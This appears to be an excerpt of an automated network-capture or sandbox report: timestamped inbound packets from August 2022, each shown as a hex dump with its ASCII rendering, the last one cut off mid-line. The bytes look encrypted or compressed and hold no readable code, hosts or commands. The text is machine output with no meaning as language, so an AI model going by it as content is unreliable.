2022-08-31 12:30:47 UTC	5306	IN	Data Raw: 70 2c 40 18 7b ab 27 5f e3 95 9e 2d 32 a3 ca 6b ab 6e 0a bb 61 46 3a 1f 70 02 2f 68 ed a0 24 6b ec 78 3e 83 0e ab ab 6f df 16 92 34 88 ef f1 f0 e6 5e 73 86 63 ba d6 46 65 e4 6e a7 63 2a 84 cf 61 fb fd 75 7b a9 15 96 92 9e ef b1 7b ac 69 29 ea aa 26 e2 63 a1 d2 5d c7 45 d0 9f fa b7 22 10 54 2e ab 3e ce 37 7e 93 2e c2 b8 b1 c3 e7 a5 a7 52 58 6a ef 2d e8 ed 61 6b 80 a5 e5 f9 9c 68 e3 21 88 fd 55 cf 74 8b f5 e9 ec a9 0c ba 19 a9 2e 2b a3 26 42 1a 3d a1 2c 2e ec c7 0b ad ea e4 f7 f9 79 d7 4f 72 fd 0b 7b 80 ac 4f dc 33 fe b8 ed 32 2e e3 58 15 2e 5e ca a9 34 e8 e5 a2 92 17 a5 a9 9f 6d ec 1f a9 2d 65 1e b3 92 d2 03 a4 79 3c 2e 40 8d 7a 88 9f cb 85 2e 9e 6f e5 61 24 d0 60 26 63 a9 c4 08 6f 2b 64 37 99 d6 3f 47 47 ff fd 4c af b2 5e 19 d1 86 0b 4e 6f 4e 62 98 1d 68 Data Ascii: p,@{'_-2knaF:p/h$kx>o4^scFenc*au{{i)&c]E"T.>7~.RXj-akh!Ut.+&B=,.yOr{O32.X.^4m-ey<.@z.oa$`&co+d7?GGL^NoNbh
2022-08-31 12:30:47 UTC	5311	IN	Data Raw: b9 33 df a5 e1 a2 52 13 1d d2 be 36 aa cf f3 c2 74 1f d4 fe 35 a7 d2 b0 d3 f6 e3 81 9d bf 2a e4 99 5f 7c fc ac e8 ef 12 15 fb 8f 8d 14 11 b9 b6 f1 7f 05 98 11 f9 db 10 f8 47 bb e2 ff b6 6b b9 35 e6 75 b8 76 bb 77 a4 6b 59 91 a1 f4 f4 aa e7 4d 13 d6 98 c0 0d 5f 93 0c 70 db 26 da 97 3d c0 5a 0d a2 f5 5a c9 34 97 34 c9 5a d2 2f 97 6c df 24 97 9b 05 29 e1 74 6c 05 6b 6a b4 90 27 40 b4 3b 74 67 94 b3 32 3a 7d c0 2e 21 8d f2 24 b9 64 1b c4 f9 6e b2 cd 43 1e a3 d0 06 a3 3d 1a 87 70 f4 3b 9f ee f4 9b 9b 5b 72 56 bc a7 7b b4 4c ce 16 d3 a5 fa 8d a6 5b 4e 46 c6 0e 3d 91 08 9e 71 56 77 a9 76 00 13 47 91 83 4d aa d8 f2 54 9a 91 7f b0 13 6b ea 1c 51 52 02 aa 38 f5 da 78 76 a9 76 57 d3 9f 16 6b 61 dd a8 5d 5c 4d 88 80 b8 c5 8f e2 a5 2c 55 ac d9 a0 6a 27 cb a6 4f 3d d4 Data Ascii: 3R6t5*_\|Gk5uvwkYM_p&=ZZ44Z/l$)tlkj'@;tg2:}.!$dnC=p;[rV{L[NF=qVwvGMTkQR8xvvWka]\M,Uj'O=
2022-08-31 12:30:47 UTC	5315	IN	Data Raw: b3 da 16 1e e7 4f 97 1b cd 93 d9 31 ff 75 ba 2f 29 d4 d1 ee 5f da e9 0c e8 cf 01 b4 33 c5 67 69 ab 1c f1 88 ec d0 05 8f b3 d5 be 23 11 5f aa f2 bf 53 55 ee 66 92 54 ac 9b ba 8f e0 f5 99 8c 40 a8 e3 04 2d ec cc 0d ef 48 cd 22 b5 3f 84 3b 31 95 5f fb 59 b8 e6 3a 6a 87 14 c5 fc 00 f2 73 0e c3 4e 80 52 e3 81 bb 34 7a af 74 16 c1 6b a5 e8 64 8b 14 91 c0 1a 7f 93 75 95 d9 9c ad ff 5e f7 7f ba af 86 e2 c3 ea ea af e7 e3 ca 46 c7 d3 f6 a9 29 b8 70 c6 0e 6f ef 11 50 e6 66 e7 26 5f 97 fb b9 d2 0d 91 b9 93 a6 68 28 ab cf 7e 7f 96 5b c3 26 db 29 53 24 8f 44 29 d7 ad 12 8c 83 30 b4 9e 5a a2 66 a7 bb 16 fb 5a 0e 88 24 e8 ff b3 26 f8 37 65 1f 0e 3c ab 6b a7 a6 a3 9a df 27 ab 53 af 7f 0a 67 2a ae 9e 7e 86 66 9f ff ae 00 25 d3 32 f3 1a a5 f0 d7 14 cd 96 58 6a 57 d2 55 ff Data Ascii: O1u/)_3gi#_SUfT@-H"?;1_Y:jsNR4ztkdu^F)poPf&_h(~[&)S$D)0ZfZ$&7e<k'Sg*~f%2XjWU
2022-08-31 12:30:47 UTC	5316	IN	Data Raw: 2e c7 76 76 b0 6a 6b a7 97 69 af ae 22 66 bf df 56 ea 3f ef af 46 22 73 d2 6e 07 49 78 b6 35 72 e4 2d 46 01 6f a7 22 dc 9d 2b ab 6b 2f a8 75 00 c0 1b 24 48 67 27 ab cf 0e b7 72 66 5f 3f 66 8f 4b 6e 82 60 73 86 6a 6b a6 9e e9 c6 8e 24 29 fb 5c 16 b0 fa 4b 7a 43 2e 47 12 ba ed 4e 0c e2 ac 67 b7 69 07 d5 1f 0e 74 7c 19 4b 53 37 6f ca 66 9e 02 b2 a4 89 ce b1 88 17 f1 41 52 e2 ad f0 37 69 1c d2 4f ce 18 66 a7 9a 1f 98 62 1a 13 21 1f d8 a2 c6 0b 02 cf e3 53 df 09 8f dc 93 a9 6d 2a 79 31 6a 1c 5a 61 af 67 2a 22 f2 95 cd 67 4c 48 9f ff ee 2f 07 d1 90 26 a2 24 49 07 6f a2 15 48 ff e2 a5 2d 35 7d 78 36 e8 36 7b 1d b9 bf 6e ac 6a d8 64 ab 30 fe 65 2c 87 e9 36 5c eb a6 6b 6a a7 6f af 2f 28 39 b2 f7 bf 66 87 0f 6f 9e 8c 79 6e af 25 64 a6 64 e2 cd 4b 66 a6 7a f1 bf 43 Data Ascii: .vvjki"fV?F"snIx5r-Fo"+k/u$Hg'rf_?fKn`sjk$)\KzC.GNgit\|KS7ofAR7iOfb!Smy1jZag"gLH/&$IoH-5}x66{njd0e,6\kjo/(9foyn%ddKfzC
2022-08-31 12:30:47 UTC	5327	IN	Data Raw: 4d 33 2d 7b f1 43 a2 cb af a5 69 28 ff 3c 20 6f ec e1 a9 7b 57 83 bf 72 7b f0 28 05 c8 86 4e 8b 03 6b 74 01 ad 6f 8e c4 15 75 ea 3e 83 5e 23 87 d1 ac ad 00 ef 82 2b e5 ad 60 b1 3e a6 a3 e3 1c 03 a2 97 4c 60 67 20 c7 5a b3 2e e5 b0 3a 5e d3 5d 55 21 61 e6 32 37 bf 28 77 96 8a 29 2e bb ab 0a a3 bb 58 a5 a6 6a 6f a1 8f 71 59 f6 1e 7d bb 1a 34 7c 7c 06 cb 74 b0 ef 3d e2 3b 62 87 0f e5 a9 a6 be b6 e7 2f 8b 09 25 ef 2b 22 64 34 eb e5 3f ca 21 58 71 e8 a0 ce 86 d0 9b c4 9d c5 7f 84 a0 8f 84 ad 2f e2 5e eb 17 f7 37 ea a2 34 31 26 7c fd d4 1d c3 0b 04 f8 d7 86 4a eb ab b6 d2 d2 b1 64 a8 2c 31 c4 1b 65 8a 8c 63 65 e1 d4 51 a6 a8 cf c8 b9 74 26 f4 b8 76 bb 77 a4 05 55 59 db a7 c7 1d b8 a3 ca 26 b5 4c 36 63 5f fa 15 30 7a ae 7b a8 d4 55 61 1b 8a 36 85 0c 85 49 68 23 Data Ascii: M3-{Ci(< o{Wr{(Nktou>^#+`>L`g Z.:^]U!a27(w).XjoqY}4\|\|t=;b/%+"d4?!Xq/^741&\|Jd,1eceQt&vwUY&L6c_0z{Ua6Ih#
2022-08-31 12:30:47 UTC	5331	IN	Data Raw: 2c d8 15 47 75 58 80 6c 03 91 00 c8 36 37 a2 50 02 f9 92 1a ee 0b 6a c7 ab 2a 63 ea 53 42 b2 d3 16 64 d1 5c 5e 4d 58 81 69 24 c0 73 80 b6 3a 4b 93 ea a8 e4 fb fe 0d c4 eb 52 5c 7b 4a 4d 9d 84 bb 8c 11 24 da c0 3f 5e 90 65 ee 28 61 f4 f1 64 2f 96 80 1e 84 f3 3c 17 95 b8 3e c7 76 dd 12 92 65 b7 36 cf 06 e0 74 b2 59 90 65 b9 37 dc 4d 34 2e 40 02 10 80 ba a2 75 f3 e3 a4 d6 7a 87 62 ec a7 e4 e3 e6 af 60 2d a7 26 88 c9 8f 8d 85 45 a5 7b b4 65 55 80 56 4e 76 3a 19 52 60 e7 16 11 63 2e 62 2d d9 c1 09 5b 2a 5a 95 7e b8 36 73 72 a1 f5 3f 31 66 e2 aa 04 cc ef ca 97 1b a5 c0 2b 4f 41 41 47 64 e3 08 06 0a 4a d8 59 08 04 e6 a2 64 64 b6 f8 0e 7a b0 69 0e c7 49 82 51 f5 c9 08 6b 6a ef 62 86 0b b7 32 66 8f ef 56 e8 7c e6 3c b0 7c b8 a1 c8 b6 a4 59 7c fd 60 18 d5 1a b4 a3 Data Ascii: ,GuXl67PjcSBd\^MXi$s:KR\{JM$?^e(ad/<>ve6tYe7M4.@uzb`-&E{eUVNv:R`c.b-[Z~6sr?1f+OAAGdJYddziIQkjb2fV\|<\|Y\|`
2022-08-31 12:30:47 UTC	5333	IN	Data Raw: 52 e4 36 f1 f4 6f 63 2a eb 99 87 78 ed 20 b5 47 19 b4 58 c0 94 96 5c 3d 2d a4 9a f5 83 e4 2a 1f 96 a6 af 87 06 82 bb f7 8d 23 b8 2a 26 f6 0f b8 59 3e 87 ac 15 1f f0 2c 8a bf 52 16 d7 b9 8b 8a 82 41 9b 94 8b 7d 23 5e d2 77 94 76 80 2f 5c 14 71 a4 d0 2d cc c1 98 6a 4d 0b 63 19 9a ec 42 d5 88 57 21 d4 33 c5 67 21 1d 4d ee 47 49 32 ee dc 31 c5 6c 81 42 26 d4 68 9b ae 58 6b 52 21 29 e5 88 40 a4 f5 8a e6 0a c9 3c 9a 11 51 43 f6 a2 8d 9f 4d 7d a0 5f 93 91 9f 2e 5f 51 e7 6e d7 39 e2 06 b1 00 30 c7 64 e1 ec 69 a7 af 3f 91 cf e8 93 5a 4f c7 0c b4 f7 8a 36 79 5a 65 87 f2 28 ee e5 f4 98 6a 84 ca df 0c 4d 4b 57 ec 18 ab 5f 4d 70 9a 34 3f 2b d5 52 74 b0 e1 dc 15 2c 55 94 8c 0e a1 64 51 f4 42 a8 e1 cf a4 84 60 2c 69 5d 37 83 65 2e 33 b8 aa 87 45 1e 9d aa 62 a3 2a ea 63 Data Ascii: R6ocx GX\=-#&Y>,RA}#^wv/\q-jMcBW!3g!MGI21lB&hXkR!)@<QCM}_._Qn90di?ZO6yZe(jMKW_Mp4?+Rt,UdQB`,i]7e.3Ebc
2022-08-31 12:30:47 UTC	5349	IN	Data Raw: c2 8a 87 92 fe 6e e1 2d ac b0 4e d9 28 64 60 5c dc 6b 6e 90 5b 65 ea f7 6a ff 11 58 4e d5 f1 e6 29 e8 ab b6 d2 a3 4b a6 6a a7 23 65 ba e4 3b 65 92 d4 4a ce a8 57 39 c6 a8 cf 89 fa f4 a8 ee 66 bf df 46 ae ea 7c 20 e0 75 6c 05 7b d1 0c b3 16 a9 f6 09 df 2f cb 0c 2c af 6a 2e ae bf 7a a9 dc d3 65 f1 7f 2b 16 34 02 e6 17 54 00 0c 24 d5 d0 21 d2 e9 19 dd 5c af de 50 b2 0a b1 c2 e1 25 f6 fb 3c b9 87 15 b0 e6 e3 ab 68 74 f7 04 a7 0c ac e0 4c 00 67 d5 d3 e1 6f af 71 33 c3 85 26 62 02 cf a5 0e 44 26 1b f2 79 99 47 06 66 e2 66 52 1b 16 12 a7 63 ce ab 0e 60 2f 5a 8b 75 68 a5 4a b4 90 91 80 dc 5c fc 6d a3 22 af 4e ca 2b 64 29 90 b1 96 17 8e 28 2f bd 3a f3 8b 3a 83 22 a7 a1 e0 9e c8 f6 24 2b 24 c1 ca 21 1e de ed a9 d5 13 66 a8 cc bb ea 6e 96 6b 77 f2 a0 e0 83 8b 88 0a Data Ascii: n-N(d`\kn[ejXN)Kj#e;eJW9fF\| ul{/,j.ze+4T$!\P%<htLgoq3&bD&yGffRc`/ZuhJ\m"N+d)(/::"$+$!fnkw
2022-08-31 12:30:47 UTC	5349	IN	Data Raw: a9 e3 5a 4d 75 ed 24 89 59 b4 ae 65 6c a7 26 62 47 27 0c 85 2a 96 c1 1d fa 36 eb 26 df bf e2 ab c2 26 a9 71 32 8b 1e 93 ca 26 23 10 80 a9 b1 62 2e 58 b4 a5 08 8f f8 1d 4a c7 14 12 e1 3e b7 c7 4a c3 4e 03 87 fa fc 61 ed 61 2b 2a a9 d6 aa 4d 89 05 3d af a2 67 08 e4 20 ae 09 e9 ad d4 6d 14 33 6d 75 65 29 f0 f1 ea 4a 40 2c e2 d6 17 a2 07 46 60 01 af 22 47 fc 70 6b e6 a0 e9 0f 11 08 d3 2e da 3f ef 1a fc e3 c3 8a a0 4f 8c ec 27 c8 f6 97 a4 6e ac 7a 19 46 2a 23 67 ef 8f 4e eb ad dd d3 84 f1 6f 1e eb e1 c5 cb 66 ae 62 aa ec 4b 72 5d 67 ea 66 93 7e 1a 71 e9 ff 52 f3 1a 2b 86 4f 82 f6 2e 7a 8a 2f 21 3a 83 4d a6 30 44 ee 61 c8 2f a0 e1 85 8c ca 0b 66 ab cf c6 47 43 5e 73 10 35 65 36 12 47 ee f2 79 2e 63 cc 8e 6c 65 ae f8 ff 02 eb 39 b5 4a 26 6d a6 e4 ae ee e2 26 fb Data Ascii: ZMu$Yel&bG'6&&q2&#b.XJ>JNaa+M=g m3mue)J@,F`"Gpk.?O'nzF*#gNofbKr]gf~qR+O.z/!:M0Da/fGC^s5e6Gy.cle9J&m&
2022-08-31 12:30:48 UTC	5361	IN	Data Raw: 62 13 5a 25 bd f4 24 e9 27 a3 a9 60 02 cb 22 ef a1 dd 9b dc 3b c9 ad 2c 2e c7 0e ae a0 e4 ab d2 3a 9c 38 ea ad ed b3 f2 44 43 49 c3 2a e6 66 81 4d 35 93 44 2a 6f fa a7 4a df ab 2d e8 25 29 af ab ae a9 f4 32 66 a8 f4 3a 6f 34 5c 4f 85 18 76 56 da a3 2e ff 31 2d 71 18 c4 35 a0 f2 a5 f3 bf 79 a1 9a c7 f8 80 da 30 d8 f3 1d 36 5d c7 3d 98 43 6d 09 8e 86 b2 52 fe f2 67 5b 10 ee f3 f7 36 f0 59 aa 4d 2a ea 37 b8 3a 8b 8d 56 55 29 b9 78 f2 6d 6d 7e 22 b4 74 6b d9 74 1f 2b 7b af 62 4e 40 25 2c 2b 2e 20 ab e6 16 37 f6 9f e8 4d 12 f7 8f 00 f1 46 d6 68 2c e8 f1 7e fc 70 b3 7d be b1 50 dd 4a cf a9 dc 65 4d 8d 42 6d b4 69 24 14 93 f4 b0 62 64 fb 6b 7d 31 65 7e f0 bd 65 f9 7e 6b c2 fb 32 c3 c2 77 52 be c9 1c 8a 44 71 70 4c a0 8d ae 23 ac 33 38 c9 96 fc 71 7d c4 08 b1 65 Data Ascii: bZ%$'`";,.:8DCIfM5DoJ-%)2f:o4\OvV.1-q5y06]=CmRg[6YM*7:VU)xmm~"tkt+{bN@%,+. 7MFh,~p}PJeMBmi$bdk}1e~e~k2wRDqpL#38q}e
2022-08-31 12:30:48 UTC	5366	IN	Data Raw: 2c cc df 63 ef d7 78 d3 39 61 cc f7 38 e2 7d b0 18 40 13 40 06 a0 05 87 aa 00 c3 91 b5 67 35 2e 3f cf 96 5f a2 dd a8 e5 39 a5 a5 d9 82 bc 9e 4e 66 5b 85 51 8e ab 77 52 b7 c6 a8 90 bd fc 5a 52 df c9 13 86 ed 1f 33 e3 b1 a0 92 5c 18 cf 75 a4 ea bd 5c 9b f7 ac 13 66 82 83 80 6e c6 df 71 64 32 7f fd 52 b9 87 56 4f c3 1b d6 e1 92 a5 22 6a 2f 68 65 23 02 4a 6b a7 26 66 6b 2b 4e 2b c2 a7 6a e2 1c 54 aa 2a b4 f5 e6 61 35 4c 45 7e 63 77 32 f1 b4 cf 46 68 26 53 59 75 01 24 54 a3 6a 58 80 16 6e fe 93 6b 2d d4 90 7d 70 65 5c 91 2b 5f d3 97 5a a7 22 66 eb 03 e2 13 fa df 5f 61 27 a6 bd f3 0a a3 0a e7 7e 80 8b 3d 62 6c 29 90 80 52 7c 50 35 11 87 a0 36 98 0b f9 7c 62 a3 c7 26 cf 27 61 2f 25 ad ea e4 66 e2 a6 40 c5 a9 f9 f7 64 2e 97 d9 fe cf 17 4d 80 05 4c c6 8f 49 c8 a6 Data Ascii: ,cx9a8}@@g5.?_9Nf[QwRZR3\u\fnqd2RVO"j/he#Jk&fk+N+jT*a5LE~cw2Fh&SYu$TjXnk-}pe\+_Z"f_a'~=bl)R\|P56\|b&'a/%f@d.MLI
2022-08-31 12:30:48 UTC	5372	IN	Data Raw: 8f f4 2d b7 29 d9 d6 2b 5e d7 a9 fb 6d 67 3e 46 bf f1 4c e6 3d 09 06 30 3f 81 5b a4 30 c7 61 6b 25 ad 90 2b 8e 1e 37 4b ca 63 a3 65 35 48 80 2c e4 b5 e0 d0 80 02 38 74 17 cf 7e f7 03 0e 8f 3d 4a 4d c7 ef 9a 2c 01 85 a3 9c bb b7 83 9e da 3b ec 70 12 eb 9b de 80 fd 65 dc 57 4e 82 3c 05 fa d1 7b f7 54 d8 29 e4 b5 ff 20 07 a0 0c 81 f4 53 33 95 55 f1 03 83 a1 a2 81 99 f7 14 9e 33 61 3f 1b 1e 71 be 2b 53 d6 83 2e 8f af 3f 50 36 d7 a4 6a 2e bf df 76 ac 90 a9 ad e3 0a c7 2c a5 6a a7 95 58 7f 41 4a 76 68 ef a9 60 06 a3 7e db ab 6e 2e c3 f1 6b 19 35 f0 66 9f ff 66 8e 7b 97 ca 63 a3 65 35 48 80 6b b3 23 fe 48 80 59 5b 79 20 6c 2f 68 69 ee f0 78 04 cb 76 c5 32 e3 81 2e ab 65 17 93 6a dc 95 83 d5 f0 a1 6c 6a ef a1 e0 fe ac 31 64 65 2b 79 bc a1 c8 e6 c7 22 64 e4 29 92 Data Ascii: -)+^mg>FL=0?[0ak%+7Kce5H,8t~=JM,;peWN<{T) S3U3a?q+S.?P6j.v,jXAJvh`~n.k5ff{ce5Hk#HY[y l/hixv2.ejlj1de+y"d)
2022-08-31 12:30:48 UTC	5376	IN	Data Raw: f1 ad c0 8c 1a 14 a9 c4 42 7b de cf 98 1d db 02 d2 c2 0b 88 e3 ba f1 a4 69 ef ab 5a 3a eb 0d b7 31 63 ea a7 e1 eb ec 5e c7 f3 2f ab 09 1c 82 df 30 f7 ab 38 44 d5 dd 4d b8 20 31 f4 a9 ef f5 b7 6e 62 6b 0f af 41 2c 5e f0 89 ed 26 b5 30 7e 7c c7 83 eb e2 de e6 5f 24 94 de 6c d0 30 c0 a9 38 33 fa db 52 18 21 92 2c 14 09 64 6a fd 3d 07 22 0e d0 48 f6 1c 54 eb 26 b5 33 2f 96 80 f8 63 e2 6e cd fd 9b e1 2e aa b5 b9 66 cb 67 b6 32 e0 16 fa 51 df e5 62 8c d8 fd a9 9c 17 95 80 2c 14 0d e2 78 e2 30 69 7f 13 00 89 fc f4 cb e7 7c fa ec ad 20 c4 8a 23 c3 e2 48 ef a7 e6 b1 7d b2 3e e6 7d b0 7c b8 a3 ca ae cd 2a 85 68 0e e4 e0 77 b8 42 fc 19 23 e6 66 67 07 4e 87 48 96 59 51 15 7a 1a e3 4e 68 03 64 0b c7 12 b3 ad d5 53 67 3a c4 5b 77 18 07 3e bb af 66 02 f3 12 ee 93 8f ba Data Ascii: B{iZ:1c^/08DM 1nbkA,^&0~\|_$l083R!,dj="HT&3/cn.fg2Qb,x0i\| #H}>}\|*hwB#fgNHYQzNhdSg:[w>f
2022-08-31 12:30:48 UTC	5377	IN	Data Raw: 55 84 75 82 d3 37 d8 86 d9 96 db 8b ea 06 64 55 38 42 4a 09 5c fa 65 38 69 37 e6 7a 38 f6 3c 71 7b 9d 50 24 35 51 f8 2b 5c 26 38 81 49 be 85 70 8e 75 de c0 b9 d8 f6 76 09 25 f9 5e d2 e7 98 5d 73 69 d5 71 26 2d 22 29 8f a6 fa 7e 62 e7 f8 6a 04 a4 52 1e 54 b3 4f 8a a4 da 78 df f2 a8 3b 8b ef 9b b3 0e 63 99 15 b3 fa 44 0b b5 08 b1 5a e8 35 42 44 1e 68 92 42 ee ce 73 0e d4 90 9e a5 68 ec 71 cc c5 2a c3 66 cf 0e 0f 08 14 61 b1 99 aa 15 37 7b 1e 07 56 1b f5 cd a2 f4 09 74 dd ab 1c 45 27 e0 1c 18 b0 3e e2 ae 17 18 bd 92 34 d4 2f 00 28 1a 24 f0 3f db 92 ba d1 90 5e 24 a5 32 a3 27 3b b9 ec 81 2e f1 72 47 4e eb 37 81 ec 51 4c 8b 17 b7 e3 52 0c bd 19 47 a7 00 95 cf 9b f1 00 55 1a ea 4e 02 a6 fd 05 0f 10 64 0b a9 49 53 77 ab 61 2d 07 f4 96 14 67 c3 0e ec e0 5f 8b af Data Ascii: Uu7dU8BJ\e8i7z8<q{P$5Q+\&8Ipuv%^]siq&-")~bjRTOx;cDZ5BDhBshq*fa7{VtE'>4/($?^$2';.rGN7QLRGUNdISwa-g_
2022-08-31 12:30:48 UTC	5383	IN	Data Raw: 49 92 c7 c5 f3 36 88 8e ba 07 5b 37 bb 77 6a d2 30 d9 b1 68 0a a7 0e e4 65 da 33 33 b7 16 be 28 19 b4 9b a9 78 00 cd bd 59 d9 32 8e 56 1f c8 61 99 fc 83 25 6b d1 14 87 c0 24 41 0a ec c7 0a a4 6a e2 af 24 7f 37 ef 2d 88 d0 3c ee 5a 45 fa e5 49 f3 32 cb 29 9c 16 e1 7d b7 27 2f df d8 65 84 a7 46 c7 24 7d 36 37 b9 df bf 02 d3 ab 5c 53 24 88 95 26 66 bb df 2e 8e a8 77 31 bf 3b 65 8a ec 03 65 92 f4 62 c6 a8 cf d6 5c d2 98 3e 13 8b d6 cb 2c 33 0c a3 f1 be 7f a2 56 4b 87 c3 6f 0b b4 99 a0 ec f7 99 57 bf 21 37 3b d8 95 ad 21 58 f7 5a d4 85 73 f2 55 32 1b df 96 52 f2 d4 83 9e 9c 76 f4 b3 4d de 26 d8 4a 93 2b f3 37 aa 72 1c ca 47 f3 fc 46 56 fb b2 52 bf dd dc 62 b9 d3 3c b0 2d bf 78 86 13 f2 58 b0 84 4d 42 aa 5c 82 70 9a e3 aa fe 86 5c d2 8e 30 90 4d ae d6 85 ef 4f Data Ascii: I6[7wj0he33(xY2Va%k$Aj$7-<ZEI2)}'/eF$}67\S$&f.w1;eeb\>,3VKoW!7;!XZsU2RvM&J+7rGFVRb<-xXMB\p\0MO
2022-08-31 12:30:48 UTC	5394	IN	Data Raw: 16 59 1e c0 3c 68 e3 a7 a9 e1 66 7e 30 50 c5 e7 f6 c2 cf ab 2c a4 5d e0 15 15 d3 8e 10 1c 80 d0 b2 2f 8f 21 61 69 ae d2 59 51 d9 69 37 34 a4 e2 27 44 f5 50 6d 2a 5e 51 17 5a ea b0 3d 4a e1 ce 0a 2d 0e c7 8c a0 6a a7 ea 5a 10 5f 5c ed e9 6e 5b a0 54 ed 26 4b 80 66 23 65 2f 21 41 14 f2 62 67 64 09 e1 6a ce 7a 3c 4e 02 6f a7 6a c1 03 c6 4c ff 3b ae a1 e5 a3 af 6b a6 22 0c 89 f7 b8 d5 1a 26 33 1f c2 62 67 c6 a3 1f 9c ce 07 1d 52 46 2b 27 aa a6 39 24 bb a6 23 3f ba a6 b1 7d 6b f6 1a 37 bc ce 9b 84 14 06 07 23 d8 fe 68 fd 92 87 eb c6 0f c0 a8 04 97 5b b4 fb fa 54 c1 d4 9b 11 8b 3f cf 03 8b c2 eb 62 c8 ce 16 0c 9b 4e a6 55 74 c2 ee a2 4e 84 89 21 0c e6 24 d6 f6 08 44 0d e2 e5 88 5e b2 53 b1 04 1d 53 d8 86 b6 6f a9 eb e4 c5 80 2e 82 48 25 db 2b d3 a8 ed e3 64 2e Data Ascii: Y<hf~0P,]/!aiYQi74'DPm*^QZ=J-jZ_\n[T&Kf#e/!Abgdjz<NojL;k"&3bgRF+'9$#?}k7#h[T?bNUtN!$D^SSo.H%+d.
2022-08-31 12:30:48 UTC	5410	IN	Data Raw: 29 b5 32 65 01 0e a8 bc fa 37 b0 a9 d1 11 73 f6 a3 87 38 8d e4 f1 02 0e fd 7f ea e9 02 f0 9b 88 21 9a 05 55 20 64 5d 69 1b ec d2 66 4b ff 6a 64 e6 10 a9 a0 33 c2 66 68 ae 98 19 a5 23 64 60 22 77 3f aa fe 3a 66 da d6 a9 7f 59 dd 5f 99 7a 47 91 bc 69 14 db f0 5d 96 72 f6 7a e6 20 6e e0 8e 4a d5 10 ee 6e de 11 09 c8 d5 4e eb 38 64 9f 5b fa bf 89 60 0e d4 92 c4 b1 cc f3 17 b8 6e 7b e4 0a ff ab 2e 3b fe 2a d4 86 04 0c f8 a7 ac a0 fe 39 67 a5 f3 3a e2 2f b7 32 e4 a8 7a 2e b6 3d 19 40 4e 71 9e f3 7f ab 10 64 9d 90 50 48 c0 51 be 3b a1 3e c6 a8 56 d8 e0 28 51 0b 9b bf 27 52 b1 74 6c 78 bb e7 e6 3b b8 32 30 e2 64 b0 f7 5b a4 a8 a5 96 b8 6f fa d8 dd e8 a5 99 1c 2d 82 80 b7 f1 ec 13 da 9d 5b 3d 3d a7 ff 7f 2c a2 a7 a1 25 a7 f0 ba a4 a1 6d 99 5b 3b 38 a4 87 44 d0 3c Data Ascii: )2e7s8!U d]ifKjd3fh#d`"w?:fY_zGi]rz nJnN8d[`n{.;*9g:/2z.=@NqdPHQ;>V(Q'Rtlx;20d[o-[==,%m[;8D<
2022-08-31 12:30:48 UTC	5426	IN	Data Raw: 1b 65 45 41 60 2e 4a 0d 32 ba 15 79 cb e3 65 ef c8 07 a4 ef e4 e9 69 62 e6 8d c3 2b 14 a3 57 9e 5d 2d 34 fc ca 46 bb 77 a7 ec 14 bf 7e 91 67 2d 25 6d 6e ac d3 91 e2 ee 13 97 6d 2d 51 db aa 05 82 ee 2a de 1a 6f e0 1d 9a e4 49 cf a1 e4 a8 ec e3 67 65 b7 74 67 e9 e5 6a e6 24 1e 94 ee eb 6f dd 98 92 97 17 8f f6 64 c2 0f ab 66 39 37 a9 a6 aa 66 2d 23 a9 0f c4 60 ab 9c 92 64 6d 61 ab 88 86 64 c2 0b af 66 49 47 a9 a2 ae 66 7d 73 a9 af 68 af 73 b6 a1 67 6c eb 18 5d eb 95 8f 71 00 4d ae 63 9c dc 66 84 c9 2e ae ab 15 99 e9 a1 2f 9c 93 1b 34 c3 a7 b5 69 3e eb 02 0a 69 31 32 14 58 d3 58 d9 d7 69 e5 2b 6b af 10 10 63 2b 2c b2 b8 67 6d 2a 24 01 84 bb 3e a9 67 41 83 21 1f dd bb 27 b2 15 43 c3 d8 e0 44 cc 9e 9a 2d 1d 55 7b 37 81 e5 4a eb 15 49 3c 9f 5a 50 32 c3 2a e6 24 Data Ascii: eEA`.J2yeib+W]-4Fw~g-%mnm-QoIgetgj$odf97f-#`dmadfIGf}shsgl]qMcf./4i>i12XXi+kc+,gm$>gA!'CD-U{7JI<ZP2*$
2022-08-31 12:30:48 UTC	5442	IN	Data Raw: e0 2a 72 f3 2a be 32 e6 3a cd 82 8f 82 a4 e9 ec 5d db 11 a0 e0 fb 43 2a a4 5b b3 42 11 46 05 e1 54 24 a4 7b 77 25 2a de 92 8d 87 b3 ac 73 ba 75 1f d3 ea cc a2 97 f9 e4 63 d0 5d 60 5d 9a a3 3a 04 db 83 3f 29 be 02 5e 0d 71 c3 02 60 1f 2c 18 26 ed ab 21 4c 7e d4 8f 4d 16 ca cd 73 ce de 11 2a 2c 28 98 f4 c6 0d 44 3d 01 1e e3 48 f8 42 c2 21 70 83 14 c3 fa 1e 5f 4d 0a 65 a8 02 ce d3 78 8d 8c 9c b5 d2 09 cb ef 94 19 b9 02 53 1c 60 69 ef a5 86 49 7d bd b3 27 7b 26 ea 11 6a 11 96 98 c3 30 e1 41 91 1d a8 56 e0 20 74 0a d2 2b 88 2d 9b 3c 8b 84 1b 3e 6a 04 e1 f7 80 34 82 92 b8 2a 09 61 f5 fe a4 79 8b b7 4c a8 c3 25 a5 83 e3 54 f9 97 5e 7f b9 7a 3a f5 36 2b d2 cc 90 56 93 a8 a4 46 a3 a3 4f 1e ea 74 d1 79 6e e2 3d f1 7e d2 fd 77 e7 62 02 a3 ac 6e 8a 47 5d 73 4b dc df Data Ascii: r2:]C[BFT${w%suc]`]:?)^q`,&!L~Ms,(D=HB!p_MexS`iI}'{&j0AV t+-<>j4ayL%T^z:6+VFOtyn=~wbnG]sK
2022-08-31 12:30:48 UTC	5449	IN	Data Raw: 10 5e 50 ee 13 a2 d2 c1 90 5c 9e 6a 09 ad ed 18 c2 b4 d1 10 e6 7e 5b 8d 28 c4 8a 69 e6 6f 13 94 29 29 e7 f7 30 cb 37 56 d2 07 00 15 90 12 2a ff 70 e5 d3 a3 b4 c8 22 e6 e9 1f 99 60 e7 62 6a e5 c9 a9 4f 68 5e 13 a7 9b 9e 64 fc f0 ab a1 77 7e a8 ac e7 5f ef a7 6a 8d 7a 67 68 68 a7 c0 c0 6a 80 88 e2 2c 89 0f ed 2a a2 2d af 1a b4 cd 22 ff dc d8 f7 e9 5c df 2e 16 1f 6a 77 77 a7 28 45 ca a7 a2 aa 62 d7 4f 34 ed 3c 27 73 64 24 47 72 9c 8b f1 6f 15 b2 f0 f2 b7 ac e5 ec 53 2c b6 cc 66 d0 88 3b 63 d6 5f 3a f5 38 c5 55 af 2a f0 90 4e 2e 42 9d f3 2c 95 18 e7 fd 64 7b e2 e2 68 0e 40 a4 8b 8a 60 1d 9c 39 55 fe da 6f 18 ca 